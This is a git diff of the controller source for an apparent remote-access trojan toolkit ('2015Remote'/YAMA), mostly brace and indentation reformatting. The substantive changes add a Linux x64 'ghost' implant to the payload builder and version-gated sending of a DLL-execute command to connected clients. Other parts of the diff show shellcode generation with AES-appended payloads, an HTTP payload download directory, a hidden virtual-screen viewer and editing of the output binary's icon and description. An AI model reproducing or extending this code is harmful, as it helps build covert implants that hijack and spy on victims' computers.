SAFE_DELETE(frpc); - if (sent) - MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + std::to_string(localPort).c_str() + "]" + _L("访问代理端口!"), - "提示", MB_ICONINFORMATION); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ctx = (context*)m_CList_Online.GetItemData(iItem); + if (!ctx->IsLogin()) + continue; + CString date = ctx->GetClientData(ONLINELIST_VERSION); + if (IsDateGreaterOrEqual(date, validDate)) { + Buffer* buf = frpc->Data; + BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 }; + memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); + DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); + SetParameters(p, (char*)¶m, sizeof(param)); + ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); + sent = TRUE; + } else { + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")), + (LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate))); + } + break; + } + LeaveCriticalSection(&m_cs); + SAFE_DELETE(frpc); + if (sent) + MessageBoxL(_L("请通过") + "[" + ip.c_str() + ":" + std::to_string(localPort).c_str() + "]" + _L("访问代理端口!"), + "提示", MB_ICONINFORMATION); } void CMy2015RemoteDlg::OnProxyPort() @@ -5047,7 +5050,7 @@ void CMy2015RemoteDlg::OnHistoryClients() void CMy2015RemoteDlg::OnBackupData() { MessageBoxL("如果更换主控IP，必须将主机迁移到新的主控IP名下。注意，更换主控程序的机器可能导致授权失效!" - "请将数据库文件拷贝到目标机器，否则将丢失全部备注信息。", "提示", MB_ICONINFORMATION); + "请将数据库文件拷贝到目标机器，否则将丢失全部备注信息。", "提示", MB_ICONINFORMATION); std::filesystem::path path = GetDbPath(); std::filesystem::path dir = path.parent_path(); ShellExecuteW(NULL, L"open", dir.c_str(), NULL, NULL, SW_SHOWNORMAL); @@ -5076,7 +5079,7 @@ void CMy2015RemoteDlg::OnChangeLang() // 用户选择了语言 g_Lang.Load(langCode); - // 保存到配置文件 + // 保存到配置文件 THIS_CFG.SetStr("settings", "Language", langCode.GetString()); // 提示用户重启生效 @@ -5089,30 +5092,28 @@ void CMy2015RemoteDlg::OnChooseLangDir() CFolderPickerDialog folderDlg(THIS_CFG.GetStr("settings", "LangDir", "./lang").c_str(), NULL, this, 0); CString strTitle = _TR("请选择目录"); folderDlg.m_ofn.lpstrTitle = strTitle; - if (folderDlg.DoModal() == IDOK) - { - CString folderPath = folderDlg.GetPathName(); + if (folderDlg.DoModal() == IDOK) { + CString folderPath = folderDlg.GetPathName(); - auto lang = THIS_CFG.GetStr("settings", "Language", "en_US"); - THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString()); - g_Lang.Init(folderPath); - g_Lang.Load(lang.c_str()); + auto lang = THIS_CFG.GetStr("settings", "Language", "en_US"); + THIS_CFG.SetStr("settings", "LangDir", folderPath.GetString()); + g_Lang.Init(folderPath); + g_Lang.Load(lang.c_str()); MessageBoxL("目录已选择，可能需要重启程序。", "提示", MB_ICONINFORMATION); - } + } } void CMy2015RemoteDlg::OnImportData() { if (IDOK!=MessageBoxL("导入主控程序的历史主机记录。此操作会覆盖本机的历史记录，请仅在迁移主控程序时进行操作。" - "数据库文件仅用于恢复主机备注信息。是否继续?", "提示",IDOK)) return; + "数据库文件仅用于恢复主机备注信息。是否继续?", "提示",IDOK)) return; CFileDialog fileDlg(TRUE, NULL, "YAMA.db", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, - _T("YAMA DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd()); + _T("YAMA DB (*.db)|*.db|All Files (*.*)|*.*||"), AfxGetMainWnd()); int ret = 0; try { ret = fileDlg.DoModal(); - } - catch (...) { + } catch (...) { MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONWARNING); return; } @@ -5124,7 +5125,8 @@ void CMy2015RemoteDlg::OnImportData() } } -void CMy2015RemoteDlg::OnLocationQqwry(){ +void CMy2015RemoteDlg::OnLocationQqwry() +{ THIS_CFG.SetInt("settings", "IPLocType", QQWry); auto SubMenu = m_MainMenu.GetSubMenu(3); SubMenu = SubMenu->GetSubMenu(5); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index f21b99a..b61874a 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -134,7 +134,7 @@ public: } VOID InitControl(); //初始控件 VOID TestOnline(); //测试函数 - BOOL m_HasLocDB = FALSE; + BOOL m_HasLocDB = FALSE; IPConverter* m_IPConverter = nullptr; VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, CString ver, CString startTime, std::vector& v, CONTEXT_OBJECT* ContextObject); diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 165ac86..9953930 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -230,6 +230,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 0127869..2120352 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -234,6 +234,7 @@ + diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index dd44a1d..fffb9df 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -24,6 +24,7 @@ enum Index { IndexTinyRun, IndexGhostMsc, IndexTestRunMsc, + IndexLinuxGhost, OTHER_ITEM }; @@ -145,7 +146,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX) DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload); DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl); DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl); - DDV_MaxChars(pDX, m_sDownloadUrl, 255); + DDV_MaxChars(pDX, m_sDownloadUrl, 255); } @@ -289,7 +290,8 @@ bool IsValidFileName(const CString& strName) return true; } -CString BuildPayloadUrl(const char* ip, const char* name) { +CString BuildPayloadUrl(const char* ip, const char* name) +{ int port = THIS_CFG.GetInt("settings", "FileSvrPort", 80); CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name; return url; @@ -309,6 +311,10 @@ void CBuildDlg::OnBnClickedOk() MessageBoxL("Shellcode 只能向64位电脑注入，注入器也只能是64位!", "提示", MB_ICONWARNING); return; } + if (index == IndexLinuxGhost) { + m_ComboCompress.SetCurSel(CLIENT_COMPRESS_NONE); + m_SliderClientSize.SetPos(0); + } int startup = Startup_DLL; CString file; CString targetDir; @@ -354,6 +360,11 @@ void CBuildDlg::OnBnClickedOk() typ = CLIENT_TYPE_SHELLCODE; szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize); break; + case IndexLinuxGhost: + file = "ghost"; + typ = CLIENT_TYPE_LINUX; + szBuffer = ReadResource(IDR_LINUX_GHOST, dwFileSize); + break; case OTHER_ITEM: { m_OtherItem.GetWindowTextA(file); typ = -1; @@ -494,12 +505,12 @@ void CBuildDlg::OnBnClickedOk() strcpy(sc->file, PathFindFileNameA(payload)); strcpy(sc->targetDir, targetDir); BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED; - if (checked){ + if (checked) { strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl); if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION); } - tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : - checked ? "\r\n提示: 本机提供下载时，载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; + tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" : + checked ? "\r\n提示: 本机提供下载时，载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。"; } BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize); if (r) { @@ -517,7 +528,7 @@ void CBuildDlg::OnBnClickedOk() int pe_2_shellcode(const std::string & in_path, const std::string & out_str); int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString()); if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()), - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); } else if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES_OLD) { // 兼容旧版本 DWORD dwSize = 0; LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize); @@ -594,6 +605,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboExe.InsertStringL(IndexTinyRun, "TinyRun.dll"); m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务"); m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务"); + m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64"); m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件")); m_ComboExe.SetCurSel(IndexTestRun_MemDLL); @@ -746,11 +758,11 @@ void CBuildDlg::OnClientRunasAdmin() m_runasAdmin = !m_runasAdmin; CMenu* SubMenu = m_MainMenu.GetSubMenu(0); SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED); - static bool warned = false; + static bool warned = false; if (m_runasAdmin && !warned) { warned = true; MessageBoxL("安装Windows服务必须设置，客户端运行时会请求管理员权限，可能会触发系统UAC提示。\n" - "如果未设置，则程序会以当前用户的权限运行，通常也能安装成功。", "提示", MB_ICONINFORMATION); + "如果未设置，则程序会以当前用户的权限运行，通常也能安装成功。", "提示", MB_ICONINFORMATION); } } @@ -765,13 +777,13 @@ void CBuildDlg::OnCbnSelchangeComboCompress() m_BtnFileServer.SetCheck(BST_UNCHECKED); m_StaticDownload.ShowWindow(SW_HIDE); m_EditDownloadUrl.ShowWindow(SW_HIDE); - static bool warned = false; + static bool warned = false; if (m_ComboCompress.GetCurSel() == CLIENT_COMPRESS_SC_AES && !warned) { - warned = true; + warned = true; MessageBoxL(_T("使用 ShellCode AES 在程序尾部追加载荷，可能无法在某些服务器系统运行! " - "请自行验证。或者选择其他载荷，或者切换为 ShellCode AES Old 模式生成!"), - "提示", MB_ICONWARNING); - } + "请自行验证。或者选择其他载荷，或者切换为 ShellCode AES Old 模式生成!"), + "提示", MB_ICONWARNING); + } } BOOL CBuildDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) @@ -913,8 +925,8 @@ void CBuildDlg::OnBnClickedCheckFileserver() if (!warned && checked) { warned = true; MessageBoxL("请提供载荷的下载地址。下载地址前缀为 http 或 https。" - "默认由本机提供载荷下载服务，请将载荷文件放在\"Payloads\"目录。" - "由本机提供下载时，下载地址可以省略输入。", "提示", MB_ICONINFORMATION); + "默认由本机提供载荷下载服务，请将载荷文件放在\"Payloads\"目录。" + "由本机提供下载时，下载地址可以省略输入。", "提示", MB_ICONINFORMATION); } } diff --git a/server/2015Remote/CClientListDlg.cpp b/server/2015Remote/CClientListDlg.cpp index 0f94b34..2c74e09 100644 --- a/server/2015Remote/CClientListDlg.cpp +++ b/server/2015Remote/CClientListDlg.cpp @@ -78,19 +78,25 @@ static const int g_nGroupFieldCount = _countof(g_GroupFieldConfigs); static CString GetFieldValue(const ClientValue& val, GroupField field) { switch (field) { - case GF_IP: return CString(val.IP); - case GF_ComputerName: return CString(val.ComputerName); - case GF_OsName: return CString(val.OsName); - case GF_Location: return CString(val.Location); - case GF_ProgramPath: return CString(val.ProgramPath); - default: return _T(""); + case GF_IP: + return CString(val.IP); + case GF_ComputerName: + return CString(val.ComputerName); + case GF_OsName: + return CString(val.OsName); + case GF_Location: + return CString(val.Location); + case GF_ProgramPath: + return CString(val.ProgramPath); + default: + return _T(""); } } // 比较两个客户端的指定列，返回 <0, 0, >0 static int CompareClientByColumn(const std::pair& a, - const std::pair& b, - int nColumn) + const std::pair& b, + int nColumn) { switch (nColumn) { case COL_ID: @@ -244,14 +250,14 @@ void CClientListDlg::DisplayClients() int sortCol = m_nSortColumn; BOOL ascending = m_bSortAscending; std::sort(sortedGroups.begin(), sortedGroups.end(), - [sortCol, ascending](const std::pair* a, - const std::pair* b) { - // 取每个分组的第一个设备进行比较 - const auto& clientA = a->second.Clients[0]; - const auto& clientB = b->second.Clients[0]; - int result = CompareClientByColumn(clientA, clientB, sortCol); - return ascending ? (result < 0) : (result > 0); - }); + [sortCol, ascending](const std::pair* a, + const std::pair* b) { + // 取每个分组的第一个设备进行比较 + const auto& clientA = a->second.Clients[0]; + const auto& clientB = b->second.Clients[0]; + int result = CompareClientByColumn(clientA, clientB, sortCol); + return ascending ? (result < 0) : (result > 0); + }); } int nRow = 0; @@ -295,8 +301,7 @@ void CClientListDlg::DisplayClients() m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); m_ClientList.SetItemData(nItem, (DWORD_PTR)key); nRow++; - } - else { + } else { // 多个设备时，显示可展开的分组行 CString strNo; strNo.FormatL(_T("%d"), groupInfo.GroupId); @@ -368,8 +373,7 @@ void CClientListDlg::OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult) // 点击同一列切换排序方向 if (nColumn == m_nSortColumn) { m_bSortAscending = !m_bSortAscending; - } - else { + } else { m_nSortColumn = nColumn; m_bSortAscending = TRUE; } diff --git a/server/2015Remote/CClientListDlg.h b/server/2015Remote/CClientListDlg.h index 38689cb..c4e0d18 100644 --- a/server/2015Remote/CClientListDlg.h +++ b/server/2015Remote/CClientListDlg.h @@ -10,68 +10,69 @@ // 分组键：支持任意字段组合 struct GroupKey { - std::vector Values; + std::vector Values; - bool operator<(const GroupKey& other) const { - size_t count = (std::min)(Values.size(), other.Values.size()); - for (size_t i = 0; i < count; i++) { - int cmp = Values[i].Compare(other.Values[i]); - if (cmp != 0) return cmp < 0; - } - return Values.size() < other.Values.size(); - } + bool operator<(const GroupKey& other) const + { + size_t count = (std::min)(Values.size(), other.Values.size()); + for (size_t i = 0; i < count; i++) { + int cmp = Values[i].Compare(other.Values[i]); + if (cmp != 0) return cmp < 0; + } + return Values.size() < other.Values.size(); + } }; // 分组信息 struct GroupInfo { - int GroupId; - BOOL bExpanded; - std::vector> Clients; + int GroupId; + BOOL bExpanded; + std::vector> Clients; }; // CClientListDlg 对话框 class CClientListDlg : public CDialogLangEx { - DECLARE_DYNAMIC(CClientListDlg) + DECLARE_DYNAMIC(CClientListDlg) public: - CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr); - virtual ~CClientListDlg(); + CClientListDlg(_ClientList* clients, CMy2015RemoteDlg* pParent = nullptr); + virtual ~CClientListDlg(); - // 对话框数据 + // 对话框数据 #ifdef AFX_DESIGN_TIME - enum { IDD = IDD_DIALOG_CLIENTLIST }; + enum { IDD = IDD_DIALOG_CLIENTLIST }; #endif protected: - _ClientList* g_ClientList; - CMy2015RemoteDlg* g_pParent; - std::vector> m_clients; // 数据副本 - std::map m_groups; // 分组数据 - int m_nSortColumn; // 当前排序列 - BOOL m_bSortAscending; // 是否升序 - CToolTipCtrl m_ToolTip; - int m_nTipItem; // 当前提示的行 - int m_nTipSubItem; // 当前提示的列 + _ClientList* g_ClientList; + CMy2015RemoteDlg* g_pParent; + std::vector> m_clients; // 数据副本 + std::map m_groups; // 分组数据 + int m_nSortColumn; // 当前排序列 + BOOL m_bSortAscending; // 是否升序 + CToolTipCtrl m_ToolTip; + int m_nTipItem; // 当前提示的行 + int m_nTipSubItem; // 当前提示的列 - void BuildGroups(); // 构建分组数据 + void BuildGroups(); // 构建分组数据 - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - DECLARE_MESSAGE_MAP() + DECLARE_MESSAGE_MAP() public: - CListCtrlEx m_ClientList; - virtual BOOL OnInitDialog(); - void RefreshClientList(); - void DisplayClients(); - void AdjustColumnWidths(); - void SortByColumn(int nColumn, BOOL bAscending); - afx_msg void OnSize(UINT nType, int cx, int cy); - afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult); - afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); - virtual BOOL PreTranslateMessage(MSG* pMsg); - virtual void OnCancel(); - virtual void PostNcDestroy(); - virtual void OnOK(); + CListCtrlEx m_ClientList; + virtual BOOL OnInitDialog(); + void RefreshClientList(); + void DisplayClients(); + void AdjustColumnWidths(); + void SortByColumn(int nColumn, BOOL bAscending); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnColumnClick(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnListClick(NMHDR* pNMHDR, LRESULT* pResult); + virtual BOOL PreTranslateMessage(MSG* pMsg); + virtual void OnCancel(); + virtual void PostNcDestroy(); + virtual void OnOK(); }; diff --git a/server/2015Remote/CDlgFileSend.cpp b/server/2015Remote/CDlgFileSend.cpp index c949c8e..0014092 100644 --- a/server/2015Remote/CDlgFileSend.cpp +++ b/server/2015Remote/CDlgFileSend.cpp @@ -27,7 +27,7 @@ void CDlgFileSend::DoDataExchange(CDataExchange* pDX) BEGIN_MESSAGE_MAP(CDlgFileSend, CDialog) ON_WM_CLOSE() - ON_WM_TIMER() + ON_WM_TIMER() ON_MESSAGE(WM_UPDATEFILEPROGRESS, &CDlgFileSend::OnUpdateFileProgress) ON_MESSAGE(WM_FINISHFILESEND, &CDlgFileSend::OnFinishFileSend) END_MESSAGE_MAP() @@ -84,8 +84,8 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam) SetDlgItemTextA(IDC_STATIC_CURRENT_FILE, *pFile); m_Progress.SetPos(percent); ShowWindow(SW_SHOW); - BringWindowToTop(); - SetForegroundWindow(); + BringWindowToTop(); + SetForegroundWindow(); if (percent>=100.) SetTimer(1, 3000, NULL); delete pChunk; @@ -133,9 +133,10 @@ void CDlgFileSend::OnClose() DialogBase::OnClose(); } -void CDlgFileSend::OnTimer(UINT_PTR nIDEvent) { +void CDlgFileSend::OnTimer(UINT_PTR nIDEvent) +{ if (nIDEvent == 1) { KillTimer(1); - PostMessageA(WM_CLOSE, 0, 0); - } + PostMessageA(WM_CLOSE, 0, 0); + } } diff --git a/server/2015Remote/CRcEditDlg.cpp b/server/2015Remote/CRcEditDlg.cpp index 7841182..81c6905 100644 --- a/server/2015Remote/CRcEditDlg.cpp +++ b/server/2015Remote/CRcEditDlg.cpp @@ -35,7 +35,7 @@ void CRcEditDlg::DoDataExchange(CDataExchange* pDX) DDV_MaxChars(pDX, m_sIcoPath, 256); DDX_Control(pDX, IDC_EDIT_PROCESS_DESC, m_EditProcessDesc); DDX_Text(pDX, IDC_EDIT_PROCESS_DESC, m_sProcessDesc); - DDV_MaxChars(pDX, m_sProcessDesc, 135); + DDV_MaxChars(pDX, m_sProcessDesc, 135); } @@ -65,7 +65,7 @@ void CRcEditDlg::OnOK() MessageBoxL("请选择目标应用程序!", "提示", MB_ICONINFORMATION); return; } - m_EditProcessDesc.GetWindowTextA(m_sProcessDesc); + m_EditProcessDesc.GetWindowTextA(m_sProcessDesc); if (m_sIcoPath.IsEmpty() && m_sProcessDesc.IsEmpty()) { MessageBoxL("请选择[*.ico]图标文件或输入进程描述!", "提示", MB_ICONINFORMATION); return; @@ -80,7 +80,7 @@ void CRcEditDlg::OnOK() } std::string exe = m_sExePath.GetString(); std::string icon = m_sIcoPath.GetString(); - std::string desc = m_sProcessDesc.GetString(); + std::string desc = m_sProcessDesc.GetString(); std::string cmdLine = "\"" + rcedit + "\" \"" + exe + "\""; if (!icon.empty()) cmdLine += " --set-icon \"" + icon + "\""; @@ -89,7 +89,7 @@ void CRcEditDlg::OnOK() int result = run_cmd(cmdLine); if (result) { MessageBoxL(_TR("PE 操作失败，错误代码: ") + std::to_string(result).c_str(), - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); return; } diff --git a/server/2015Remote/CUpdateDlg.cpp b/server/2015Remote/CUpdateDlg.cpp index 0b55c2f..4ffa3be 100644 --- a/server/2015Remote/CUpdateDlg.cpp +++ b/server/2015Remote/CUpdateDlg.cpp @@ -11,8 +11,8 @@ IMPLEMENT_DYNAMIC(CUpdateDlg, CDialogEx) CUpdateDlg::CUpdateDlg(CWnd* pParent /*=nullptr*/) - : CDialogLangEx(IDD_DIALOG_UPDATE, pParent) - , m_nSelected(0) + : CDialogLangEx(IDD_DIALOG_UPDATE, pParent) + , m_nSelected(0) { } @@ -23,9 +23,9 @@ CUpdateDlg::~CUpdateDlg() void CUpdateDlg::DoDataExchange(CDataExchange* pDX) { - __super::DoDataExchange(pDX); - DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect); - DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected); + __super::DoDataExchange(pDX); + DDX_Control(pDX, IDC_COMBO_UPDATE_SELECT, m_ComboUpdateSelect); + DDX_CBIndex(pDX, IDC_COMBO_UPDATE_SELECT, m_nSelected); } @@ -37,12 +37,12 @@ END_MESSAGE_MAP() BOOL CUpdateDlg::OnInitDialog() { - __super::OnInitDialog(); + __super::OnInitDialog(); - // TODO: 在此添加额外的初始化 - m_ComboUpdateSelect.InsertStringL(0, _T("TestRun")); - m_ComboUpdateSelect.InsertStringL(1, _T("Ghost")); - m_ComboUpdateSelect.SetCurSel(1); + // TODO: 在此添加额外的初始化 + m_ComboUpdateSelect.InsertStringL(0, _T("TestRun")); + m_ComboUpdateSelect.InsertStringL(1, _T("Ghost")); + m_ComboUpdateSelect.SetCurSel(1); - return TRUE; + return TRUE; } diff --git a/server/2015Remote/CUpdateDlg.h b/server/2015Remote/CUpdateDlg.h index 2590880..4b514cb 100644 --- a/server/2015Remote/CUpdateDlg.h +++ b/server/2015Remote/CUpdateDlg.h @@ -6,23 +6,23 @@ class CUpdateDlg : public CDialogLangEx { - DECLARE_DYNAMIC(CUpdateDlg) + DECLARE_DYNAMIC(CUpdateDlg) public: - CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数 - virtual ~CUpdateDlg(); + CUpdateDlg(CWnd* pParent = nullptr); // 标准构造函数 + virtual ~CUpdateDlg(); // 对话框数据 #ifdef AFX_DESIGN_TIME - enum { IDD = IDD_DIALOG_UPDATE }; + enum { IDD = IDD_DIALOG_UPDATE }; #endif protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 - DECLARE_MESSAGE_MAP() + DECLARE_MESSAGE_MAP() public: - CComboBox m_ComboUpdateSelect; - virtual BOOL OnInitDialog(); - int m_nSelected; + CComboBox m_ComboUpdateSelect; + virtual BOOL OnInitDialog(); + int m_nSelected; }; diff --git a/server/2015Remote/Chat.cpp b/server/2015Remote/Chat.cpp index d217155..772dcbf 100644 --- a/server/2015Remote/Chat.cpp +++ b/server/2015Remote/Chat.cpp @@ -48,7 +48,7 @@ BOOL CChat::OnInitDialog() CString str; str.FormatL(_T("远程交谈 - %s"), m_ContextObject->PeerName.c_str()), - SetWindowText(str); + SetWindowText(str); m_editTip.SetWindowTextL("提示: 对方聊天对话框在发送消息后才会弹出"); m_editNewMsg.SetLimitText(4079); // TODO: Add extra initialization here diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index 24088be..0e1a632 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -1320,7 +1320,10 @@ void CFileManagerDlg::LocalSearchWorker() else lstrcpy(szPattern, (LPCSTR)m_strLocalSearchName); - struct SearchDir { CString path; int depth; }; + struct SearchDir { + CString path; + int depth; + }; std::vector dirStack; dirStack.push_back({m_strLocalSearchPath, 0}); @@ -1387,7 +1390,7 @@ LRESULT CFileManagerDlg::OnLocalSearchProgress(WPARAM wParam, LPARAM lParam) if (!m_bLocalSearching || m_bLocalSearchStopped) return 0; DWORD dwElapsed = (GetTickCount() - m_dwLocalSearchStartTime) / 1000; ShowMessage(_TRF("搜索 \"%s\" 在 %s ... 已找到 %d 个 (%d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, (int)wParam, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, (int)wParam, dwElapsed); return 0; } @@ -1439,10 +1442,10 @@ LRESULT CFileManagerDlg::OnLocalSearchDone(WPARAM wParam, LPARAM lParam) DWORD dwElapsed = (GetTickCount() - m_dwLocalSearchStartTime) / 1000; if (wParam) // 正常完成 ShowMessage(_TRF("搜索 \"%s\" 在 %s 完成，共 %d 个结果 (耗时 %d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); else // 被停止 ShowMessage(_TRF("搜索 \"%s\" 在 %s 已停止，共 %d 个结果 (耗时 %d秒)"), - m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); + m_strLocalSearchName, m_strLocalSearchPath, m_nLocalSearchResultCount, dwElapsed); m_bLocalSearching = false; m_list_local.EnableWindow(TRUE); @@ -1883,7 +1886,7 @@ void CFileManagerDlg::OnLocalCompress() zsta::Error err = zsta::CZstdArchive::Compress(paths, target); if (err != zsta::Error::Success) { MessageBoxAPI_L(m_hWnd, "压缩失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); + "错误", MB_OK | MB_ICONERROR); } else { FixedLocalFileList("."); } @@ -1926,7 +1929,7 @@ void CFileManagerDlg::OnLocalUnCompress() zsta::Error err = zsta::CZstdArchive::Extract(path, destDir); if (err != zsta::Error::Success) { MessageBoxAPI_L(m_hWnd, "解压失败: " + CString(zsta::CZstdArchive::GetErrorString(err)), - "错误", MB_OK | MB_ICONERROR); + "错误", MB_OK | MB_ICONERROR); } else { needRefresh = TRUE; } diff --git a/server/2015Remote/HideScreenSpyDlg.cpp b/server/2015Remote/HideScreenSpyDlg.cpp index 3c0a8f8..affd2a2 100644 --- a/server/2015Remote/HideScreenSpyDlg.cpp +++ b/server/2015Remote/HideScreenSpyDlg.cpp @@ -158,7 +158,7 @@ BOOL CHideScreenSpyDlg::OnInitDialog() __super::OnInitDialog(); CString strString; strString.FormatL("%s - 远程虚拟屏幕 %d×%d", m_IPAddress, - m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); + m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); // Set the icon for this dialog. The framework does this automatically @@ -468,7 +468,7 @@ void CHideScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) int code; if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full, rate, handler)) { MessageBoxL(CString("Create Video(*.avi) Failed:\n") + m_aviFile + "\r\n错误代码: " + - CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); + CBmpToAvi::GetErrMsg(code).c_str(), "提示", MB_ICONINFORMATION); m_aviFile = _T(""); } else { ::SetTimer(m_hWnd, TIMER_ID, duration, NULL); diff --git a/server/2015Remote/HostInfo.h b/server/2015Remote/HostInfo.h index 4bf555f..d0ba06a 100644 --- a/server/2015Remote/HostInfo.h +++ b/server/2015Remote/HostInfo.h @@ -15,7 +15,8 @@ enum { }; #pragma pack(push, 1) -class _ClientValue { +class _ClientValue +{ public: char Note[64]; char Location[64]; @@ -43,7 +44,8 @@ typedef _ClientValue ClientValue; typedef std::unordered_map ClientMap; -class _ClientList { +class _ClientList +{ public: virtual ~_ClientList() {} virtual bool Exists(ClientKey key) = 0; diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h index db74d15..437e31a 100644 --- a/server/2015Remote/IOCPKCPServer.h +++ b/server/2015Remote/IOCPKCPServer.h @@ -30,8 +30,8 @@ public: { char client_ip[INET_ADDRSTRLEN]; #if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501) - strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); - client_ip[INET_ADDRSTRLEN - 1] = '\0'; + strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1); + client_ip[INET_ADDRSTRLEN - 1] = '\0'; #else inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN); #endif diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 2ccde24..60dba45 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -34,7 +34,7 @@ std::string GetRemoteIP(SOCKET sock) IOCPServer::IOCPServer(HWND hWnd) { - m_hMainWnd = hWnd; + m_hMainWnd = hWnd; WSADATA wsaData; if (WSAStartup(MAKEWORD(2,2), &wsaData)!=0) { return; @@ -763,17 +763,17 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s) if (m_ContextConnectionList.GetCount() >= 